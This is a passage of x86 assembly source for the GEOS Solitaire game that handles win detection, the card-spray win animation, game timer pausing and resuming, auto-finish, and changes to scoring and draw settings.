ds:[di].KI_timeStatus, TIME_EXPIRED je createGState mov ds:[di].KI_timeStatus, TIME_STOPPED clr bx xchg bx, ds:[di].KI_timerHandle tst bx jz checkHiScore clr ax ; 0 => continual call TimerStop checkHiScore: mov bl, ds:[di].KI_drawNumber mov bh, ds:[di].GI_userMode cmp ds:[di].KI_scoringType, ST_STANDARD_UNTIMED jg checkCountDown mov cx, ds:[di].GI_score clr dx mov ax, ds:[di].KI_time ; call HiScoreAddScore jmp createGState checkCountDown: cmp ds:[di].KI_scoringType, ST_COUNTDOWN jne createGState ; ; Calculate a "score" for the countdown time ; ; For now, = 3600 - time ; mov ax, ds:[di].KI_countdownTime mov cx, 3600 sub cx, ax clr dx ; call HiScoreAddScore createGState: mov ax, MSG_VIS_VUP_CREATE_GSTATE call ObjCallInstanceNoLock ; ; The fan is rotated about a point 4 card widths from the left ; edge of the screen and 800 pixels from the top of the screen, ; so we need to translate our gstate origin to that point ; PointDi2 Game_offset mov dx, ds:[di].GI_cardWidth ;dx <- 4 * cardWidth shl dx shl dx mov bx, 50 push bx mov bx, 800 push bx clr cx clr ax mov di, bp call GrApplyTranslation ; ; Now we apply the intial rotation to the gstate (subsequent ; rotations are carried out by the cards themselves). ; clr cx mov dx, EFFECTS_ANGLE call GrApplyRotation mov bp, di pop cx pop bx sub cx, bx ; ; Now we tell each of the foundations to spray their cards out ; mov dx, FIRST_FOUNDATION mov bx, ds:[LMBH_handle] mov ax, MSG_SOLITAIRE_SPRAY_DECK mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE call ObjMessage mov dx, FIRST_FOUNDATION + 1 mov bx, ds:[LMBH_handle] mov ax, MSG_SOLITAIRE_SPRAY_DECK mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE call ObjMessage mov dx, FIRST_FOUNDATION + 2 mov bx, ds:[LMBH_handle] mov ax, MSG_SOLITAIRE_SPRAY_DECK mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE call ObjMessage mov dx, LAST_FOUNDATION mov bx, ds:[LMBH_handle] mov ax, MSG_SOLITAIRE_SPRAY_DECK mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE call ObjMessage endSolitaireWeHaveAWinner: ret SolitaireWeHaveAWinner endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSprayDeck %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_SPRAY_DECK handler for SolitaireClass Sends a method to the indicated deck instructing it to spray out its cards. CALLED BY: PASS: cx = radius of the fan (in pixels) dx = # of child in composite to spray bp = gstate to spray through CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSprayDeck method SolitaireClass, MSG_SOLITAIRE_SPRAY_DECK test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME jz endSolitaireSprayDeck test ds:[di].GI_gameAttrs, mask GA_REDEAL_REQUESTED or mask GA_ICONIFIED jnz endSolitaireSprayDeck ; ; push cx, bp clr cx mov ax, MSG_VIS_FIND_CHILD call ObjCallInstanceNoLock pop bx, bp xchg bx, cx jc endSolitaireSprayDeck mov si, dx mov dx, EFFECTS_DELTA_ANGLE neg dx mov ax, MSG_DECK_SPRAY_CARDS mov di, mask MF_FIXUP_DS call ObjMessage endSolitaireSprayDeck: ret SolitaireSprayDeck endm endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireCheckForWinner %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_CHECK_FOR_WINNER handler for SolitaireClass Checks whether or not the user has won the game yet, and if so sends a method to itself to produce the win effect. CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireCheckForWinner method SolitaireClass, MSG_SOLITAIRE_CHECK_FOR_WINNER CallObject Foundation1, MSG_DECK_GET_N_CARDS, MF_CALL cmp cx, 13 LONG jl noWinner CallObject Foundation2, MSG_DECK_GET_N_CARDS, MF_CALL cmp cx, 13 LONG jl noWinner CallObject Foundation3, MSG_DECK_GET_N_CARDS, MF_CALL cmp cx, 13 LONG jl noWinner CallObject Foundation4, MSG_DECK_GET_N_CARDS, MF_CALL cmp cx, 13 LONG jl noWinner mov di, ds:[si] add di, ds:[di].Game_offset test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME jnz noWinner SET ds:[di].GI_gameAttrs, GA_JUST_WON_A_GAME mov dl, VUM_NOW CallObject UndoTrigger, MSG_GEN_SET_NOT_ENABLED, MF_FIXUP_DS ;; call SolitairePauseTimer ; ; Stop the timer because we have a winner. Can't just ; pause it or else it will unpause if we are transparently ; detached and then restarted. --jwu 9/28/93 ; call SolitaireStopTimer mov dl, VUM_DELAYED_VIA_APP_QUEUE CallObject AutoFinishTrigger, MSG_GEN_SET_NOT_USABLE, MF_FIXUP_DS CallObject NewGameTrigger, MSG_GEN_SET_USABLE, MF_FIXUP_DS ; Tell the user he/she won. ; PLAY_SOUND SS_GAME_WON ; "user completed a game successfully" sound clr ax pushdw axax ; SDOP_helpContext pushdw axax ; SDOP_customTriggers pushdw axax ; SDOP_stringArg2 pushdw axax ; SDOP_stringArg1 mov bx, handle StringBlock mov ax, offset WinningString pushdw bxax ; SDOP_customString mov ax, CDT_NOTIFICATION shl offset CDBF_DIALOG_TYPE or \ GIT_NOTIFICATION shl offset CDBF_INTERACTION_TYPE push ax call UserStandardDialogOptr if 0 mov ax, MSG_SOLITAIRE_NEW_GAME call ObjCallInstanceNoLock ;else mov ax, MSG_SOLITAIRE_WE_HAVE_A_WINNER call ObjCallInstanceNoLock endif jmp done noWinner: mov di, ds:[si] add di, ds:[di].Game_offset cmp ds:[di].KI_timeStatus, TIME_WAITING_FOR_HOMEBOY_TO_STOP_DRAGGING je outOfTime done: ret outOfTime: PLAY_SOUND SS_OUT_OF_TIME ; "user is out of time" sound mov ds:[di].KI_timeStatus, TIME_EXPIRED mov ax, MSG_GEN_INTERACTION_INITIATE mov bx, handle OutOfTimeBox mov si, offset OutOfTimeBox clr di call ObjMessage jmp done SolitaireCheckForWinner endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetDonor %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SET_DONOR handler for SolitaireClass Checks to see if the game has been won as a result of the last card transfer CALLED BY: PASS: nothing CHANGES: RETURN: carry set if user has won the game DESTROYED: ax, bx, di PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetDonor method SolitaireClass, MSG_GAME_SET_DONOR ; ; see if the donor is the talon ; cmp dx, offset MyTalon jne callSuper ; ; It is the talon. Check for any face down cards in the ; tableau. ; mov bx, ds:[LMBH_handle] mov ax, MSG_SOLITAIRE_CHECK_AUTO_FINISH_ENABLE mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE call ObjMessage callSuper: ; ; Call super class ; mov di, segment SolitaireClass mov es, di mov di, offset SolitaireClass mov ax, MSG_GAME_SET_DONOR call ObjCallSuperNoLock ; ; Queue a MSG_SOLITAIRE_CHECK_FOR_WINNER so that once this transfer ; is over, we can see whether or not the user has won. ; mov bx, ds:[LMBH_handle] mov ax, MSG_SOLITAIRE_CHECK_FOR_WINNER mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE call ObjMessage ret SolitaireSetDonor endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireLostSysTargetExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Intercepted to pause the timer. CALLED BY: MSG_META_LOST_SYS_TARGET_EXCL PASS: *ds:si = SolitaireClass object ds:di = SolitaireClass instance data RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- PW 6/ 8/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireLostSysTargetExcl method dynamic SolitaireClass, MSG_META_LOST_SYS_TARGET_EXCL .enter ; ; See if time is on... ; cmp ds:[di].KI_timeStatus, TIME_ON jne callSuper ; ; If the timer is going, set the time status to TIME_PAUSED ; and nuke the timer (it will be restarted in SolitaireVisOpen). ; mov ds:[di].KI_timeStatus, TIME_NOT_ACTIVE clr bx xchg bx, ds:[di].KI_timerHandle tst bx jz callSuper clr ax ; 0 => continual call TimerStop callSuper: mov di, segment SolitaireClass mov es, di mov di, offset SolitaireClass mov ax, MSG_META_LOST_SYS_TARGET_EXCL call ObjCallSuperNoLock .leave ret SolitaireLostSysTargetExcl endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireGainedSysTargetExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Intercepted to Unpause the timer. CALLED BY: MSG_META_GAINED_SYS_TARGET_EXCL PASS: *ds:si = SolitaireClass object ds:di = SolitaireClass instance data es = segment of SolitaireClass ax = message # RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- PW 6/ 8/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireGainedSysTargetExcl method dynamic SolitaireClass, MSG_META_GAINED_SYS_TARGET_EXCL .enter mov di, offset SolitaireClass call ObjCallSuperNoLock mov di, ds:[si] add di, ds:[di].Solitaire_offset cmp ds:[di].KI_timeStatus, TIME_NOT_ACTIVE jne done ; ; Start the timer ; mov ds:[di].KI_timeStatus, TIME_ON mov bx, ds:[LMBH_handle] mov al, TIMER_EVENT_CONTINUAL ;Timer Type clr cx ;no delay before starting mov dx, MSG_SOLITAIRE_ONE_SECOND_ELAPSED ;what method to send? mov di, ONE_SECOND ;how often? call TimerStart ; ; Keep the timer handle around so we can stop it later ; mov di, ds:[si] add di, ds:[di].Solitaire_offset mov ds:[di].KI_timerHandle, bx done: .leave ret SolitaireGainedSysTargetExcl endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireLostSysFocusExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Intercepted to pause the timer. CALLED BY: MSG_META_LOST_SYS_FOCUS_EXCL PASS: *ds:si = SolitaireClass object ds:di = SolitaireClass instance data es = segment of SolitaireClass ax = message # RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JW 9/28/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireLostSysFocusExcl method dynamic SolitaireClass, MSG_META_LOST_SYS_FOCUS_EXCL ; ; See if the timer is ticking. ; cmp ds:[di].KI_timeStatus, TIME_ON jne callSuper ; ; If the timer is going, set the time status to TIME_NOT_ACTIVE ; and nuke the timer. (The timer will be restarted in ; SolitaireGainedSysFocusExcl.) ; mov ds:[di].KI_timeStatus, TIME_NOT_ACTIVE clr bx xchg bx, ds:[di].KI_timerHandle tst bx jz callSuper clr ax ; 0 => continual timer call TimerStop callSuper: mov di, offset SolitaireClass mov ax, MSG_META_LOST_SYS_FOCUS_EXCL call ObjCallSuperNoLock ret SolitaireLostSysFocusExcl endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireGainedSysFocusExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Intercepted to unpausee the timer if needed. CALLED BY: MSG_META_GAINED_SYS_FOCUS_EXCL PASS: *ds:si = SolitaireClass object es = segment of SolitaireClass ax = message # RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JW 9/28/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireGainedSysFocusExcl method dynamic SolitaireClass, MSG_META_GAINED_SYS_FOCUS_EXCL ; ; Call superclass first. ; mov di, offset SolitaireClass call ObjCallSuperNoLock mov di, ds:[si] add di, ds:[di].Solitaire_offset cmp ds:[di].KI_timeStatus, TIME_NOT_ACTIVE jne done ; ; Start the timer. ; mov ds:[di].KI_timeStatus, TIME_ON mov bx, ds:[LMBH_handle] mov al, TIMER_EVENT_CONTINUAL ; TimerType clr cx ; no delay before starting mov dx, MSG_SOLITAIRE_ONE_SECOND_ELAPSED ; method to send mov di, ONE_SECOND ; how often? call TimerStart ; ; Save the timer handle so we can stop it later. ; mov di, ds:[si] add di, ds:[di].Solitaire_offset mov ds:[di].KI_timerHandle, bx done: ret SolitaireGainedSysFocusExcl endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireVisClose %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_VIS_CLOSE handler for SolitaireClass Makes sure that the timer is no longer running before the game closes visually. CALLED BY: PASS: nothing CHANGES: stops the game timer, if any RETURN: nothing DESTROYED: bx, di PSEUDO CODE/STRATEGY: if timer is on, then stop it call superclass KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireVisClose method SolitaireClass, MSG_VIS_CLOSE ; ; See if time is on... ; cmp ds:[di].KI_timeStatus, TIME_ON jne callSuper ; ; If the timer is going, set the time status to TIME_PAUSED ; and nuke the timer (it will be restarted in SolitaireVisOpen). ; call SolitairePauseTimer callSuper: mov di, segment SolitaireClass mov es, di mov di, offset SolitaireClass mov ax, MSG_VIS_CLOSE call ObjCallSuperNoLock ret SolitaireVisClose endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireStopTimer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Stop the timer. CALLED BY: SolitaireCheckForWinner PASS: *ds:si - SolitaireClass RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jwu 9/28/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireStopTimer proc near class SolitaireClass uses ax,bx,di .enter mov di, ds:[si] add di, ds:[di].Solitaire_offset mov ds:[di].KI_timeStatus, TIME_STOPPED clr bx xchg bx, ds:[di].KI_timerHandle tst bx jz done clr ax ; 0 => continual timer call TimerStop done: .leave ret SolitaireStopTimer endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitairePauseTimer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Halts the timer Pass: *ds:si - SolitaireClass Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Mar 16, 1993 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitairePauseTimer proc near class SolitaireClass uses ax, bx, di .enter mov di, ds:[si] add di, ds:[di].Solitaire_offset cmp ds:[di].KI_timeStatus, TIME_EXPIRED je pauseNotNeeded mov ds:[di].KI_timeStatus, TIME_PAUSED pauseNotNeeded: clr bx xchg bx, ds:[di].KI_timerHandle tst bx jz done clr ax ; 0 => continual call TimerStop done: .leave ret SolitairePauseTimer endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireUnpauseTimer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Unpauses the timer Pass: *ds:si - SolitaireClass Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Mar 16, 1993 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireUnpauseTimer proc near class SolitaireClass uses ax, bx, cx, dx, di .enter mov di, ds:[si] add di, ds:[di].Solitaire_offset cmp ds:[di].KI_timeStatus, TIME_PAUSED jne done ; ; Start the timer ; mov ds:[di].KI_timeStatus, TIME_ON mov bx, ds:[LMBH_handle] mov al, TIMER_EVENT_CONTINUAL ;Timer Type clr cx ;no delay before starting mov dx, MSG_SOLITAIRE_ONE_SECOND_ELAPSED ;what method to send? mov di, ONE_SECOND ;how often? call TimerStart ; ; Keep the timer handle around so we can stop it later ; mov di, ds:[si] add di, ds:[di].Solitaire_offset mov ds:[di].KI_timerHandle, bx done: .leave ret SolitaireUnpauseTimer endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireVisOpen %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_VIS_OPEN handler for SolitaireClass Checks to see if we need to restart the game timer if it had been previously stopped (in SolitaireVisClose) before opening visually. CALLED BY: PASS: nothing CHANGES: If the time status is initially TIME_PAUSED, then it is changed to TIME_ON and a timer is started. RETURN: nothing DESTROYED: bx, cx, dx, di PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireVisOpen method SolitaireClass, MSG_VIS_OPEN mov di, offset SolitaireClass call ObjCallSuperNoLock call SolitaireUnpauseTimer ret SolitaireVisOpen endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireDeckSelected %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_DECK_SELECTED handler for SolitaireClass Makes sure the game hasn't been won before letting the superclass do its thing. If the game HAS been won, no more card dragging should be allowed. CALLED BY: PASS: ^lcx:dx = OD of selected deck bp = # of child in composite that was selected CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireDeckSelected method SolitaireClass, MSG_GAME_DECK_SELECTED test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME jnz done mov di, offset SolitaireClass call ObjCallSuperNoLock done: ret SolitaireDeckSelected endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireResetScore %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Resets the score based on the scoring type. CALLED BY: MSG_SOLITAIRE_RESET_SCORE PASS: *ds:si = SolitaireClass object ds:di = SolitaireClass instance data RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- PW 6/ 9/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireResetScore method dynamic SolitaireClass, MSG_SOLITAIRE_RESET_SCORE .enter test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME jz checkNewGame mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE_AND_REDEAL call ObjCallInstanceNoLock jmp done checkNewGame: cmp ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET jne gameInProgress mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE call ObjCallInstanceNoLock done: .leave ret gameInProgress: cmp ds:[di].KI_scoringType, ST_NONE je done call SolitairePauseTimer push si mov bx, handle ResetGameConfirmBox mov si, offset ResetGameConfirmBox call UserDoDialog pop si call SolitaireUnpauseTimer cmp ax, IC_YES jne done mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE_AND_REDEAL call ObjCallInstanceNoLock jmp done SolitaireResetScore endm SolitaireNotifyCardFlipped method SolitaireClass, MSG_GAME_NOTIFY_CARD_FLIPPED dec ds:[di].KI_nFaceDownCardsInTableau ja done mov ax, MSG_SOLITAIRE_CHECK_AUTO_FINISH_ENABLE call ObjCallInstanceNoLock done: ret SolitaireNotifyCardFlipped endm SolitaireCheckAutoFinishEnable method SolitaireClass, MSG_SOLITAIRE_CHECK_AUTO_FINISH_ENABLE tst ds:[di].KI_nFaceDownCardsInTableau jnz done mov bx, handle MyTalon mov si, offset MyTalon mov ax, MSG_DECK_GET_N_CARDS mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage tst cx jnz done mov bx, handle MyHand mov si, offset MyHand mov ax, MSG_DECK_GET_N_CARDS mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage tst cx jnz done mov dl, VUM_DELAYED_VIA_APP_QUEUE mov bx, handle NewGameTrigger mov si, offset NewGameTrigger mov ax, MSG_GEN_SET_NOT_USABLE mov di, mask MF_FIXUP_DS call ObjMessage mov bx, handle AutoFinishTrigger mov si, offset AutoFinishTrigger mov ax, MSG_GEN_SET_USABLE mov di, mask MF_FIXUP_DS call ObjMessage done: ret SolitaireCheckAutoFinishEnable endm SolitaireAutoFinish method SolitaireClass, MSG_SOLITAIRE_AUTO_FINISH finishLoop: mov bx, handle TE1 mov si, offset TE1 call DoubleClickIfPossible clr cx ;cx = # of decks with cards jnc tryTE2 inc cx tryTE2: push cx mov bx, handle TE2 mov si, offset TE2 call DoubleClickIfPossible pop cx jnc tryTE3 inc cx tryTE3: push cx mov bx, handle TE3 mov si, offset TE3 call DoubleClickIfPossible pop cx jnc tryTE4 inc cx tryTE4: push cx mov bx, handle TE4 mov si, offset TE4 call DoubleClickIfPossible pop cx jnc tryTE5 inc cx tryTE5: push cx mov bx, handle TE5 mov si, offset TE5 call DoubleClickIfPossible pop cx jnc tryTE6 inc cx tryTE6: push cx mov bx, handle TE6 mov si, offset TE6 call DoubleClickIfPossible pop cx jnc tryTE7 inc cx tryTE7: push cx mov bx, handle TE7 mov si, offset TE7 call DoubleClickIfPossible pop cx jc finishLoop ;if TE7 had a card, loop jcxz done ;if no cards, done jmp finishLoop done: ret SolitaireAutoFinish endm DoubleClickIfPossible proc near mov ax, MSG_DECK_GET_N_CARDS mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage clc jcxz done clr bp mov ax, MSG_DECK_CARD_DOUBLE_CLICKED mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage stc done: ret DoubleClickIfPossible endp SolitaireUserRequestsScoringTypeChange method SolitaireClass, MSG_SOLITAIRE_USER_REQUESTS_SCORING_TYPE_CHANGE ; ; Set scoring mode ; push si clr dx mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION mov bx, handle ScoringList mov si, offset ScoringList mov di, mask MF_FIXUP_DS call ObjMessage pop si mov di, ds:[si] add di, ds:[di].Game_offset test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME jz checkNewGame mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE_AND_REDEAL call ObjCallInstanceNoLock jmp done checkNewGame: cmp ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET jne gameInProgress setAndExit: mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE call ObjCallInstanceNoLock done: ret gameInProgress: cmp cl, ST_NONE je setAndExit call SolitairePauseTimer push si mov bx, handle ResetGameConfirmBox mov si, offset ResetGameConfirmBox call UserDoDialog pop si call SolitaireUnpauseTimer cmp ax, IC_YES mov ax, MSG_SOLITAIRE_FIXUP_SCORING_TYPE_LIST jne sendMessage mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE_AND_REDEAL sendMessage: call ObjCallInstanceNoLock jmp done SolitaireUserRequestsScoringTypeChange endm SolitaireFixupScoringTypeList method SolitaireClass, MSG_SOLITAIRE_FIXUP_SCORING_TYPE_LIST mov cl, ds:[di].KI_scoringType clr ch mov bx, handle ScoringList mov si, offset ScoringList clr dx mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION clr di call ObjMessage ret SolitaireFixupScoringTypeList endm SolitaireUserRequestsDrawNumberChange method SolitaireClass, MSG_SOLITAIRE_USER_REQUESTS_DRAW_NUMBER_CHANGE test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME jz checkNewGame mov ax, MSG_SOLITAIRE_SET_DRAW_NUMBER_AND_REDEAL call ObjCallInstanceNoLock jmp done checkNewGame: cmp ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET jne gameInProgress mov ax, MSG_SOLITAIRE_SET_DRAW_NUMBER call ObjCallInstanceNoLock jmp done gameInProgress: call SolitairePauseTimer push si mov bx, handle ResetGameConfirmBox mov si, offset ResetGameConfirmBox call UserDoDialog pop si call SolitaireUnpauseTimer cmp ax, IC_YES mov ax, MSG_SOLITAIRE_FIXUP_DRAW_LIST jne sendMessage mov ax, MSG_SOLITAIRE_SET_DRAW_NUMBER_AND_REDEAL sendMessage: call ObjCallInstanceNoLock done: ret SolitaireUserRequestsDrawNumberChange endm SolitaireFixupDrawNumberList method SolitaireClass, MSG_SOLITAIRE_FIXUP_DRAW_LIST mov cl, ds:[di].KI_drawNumber clr ch mov bx, handle DrawList mov si, offset DrawList clr dx mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION clr di call ObjMessage ret SolitaireFixupDrawNumberList endm SolitaireUserRequestsUserModeChange method SolitaireClass, MSG_SOLITAIRE_USER_REQUESTS_USER_MODE_CHANGE test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME jz checkNewGame mov ax, MSG_SOLITAIRE_SET_USER_MODE_AND_REDEAL call ObjCallInstanceNoLock jmp done checkNewGame: cmp ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET jne gameInProgress mov ax, MSG_GAME_SET_USER_MODE call ObjCallInstanceNoLock jmp done gameInProgress: call SolitairePauseTimer push si mov bx, handle ResetGameConfirmBox mov si, offset ResetGameConfirmBox call UserDoDialog pop si call SolitaireUnpauseTimer cmp ax, IC_YES mov ax, MSG_SOLITAIRE_FIXUP_USER_MODE_LIST jne sendMessage mov ax, 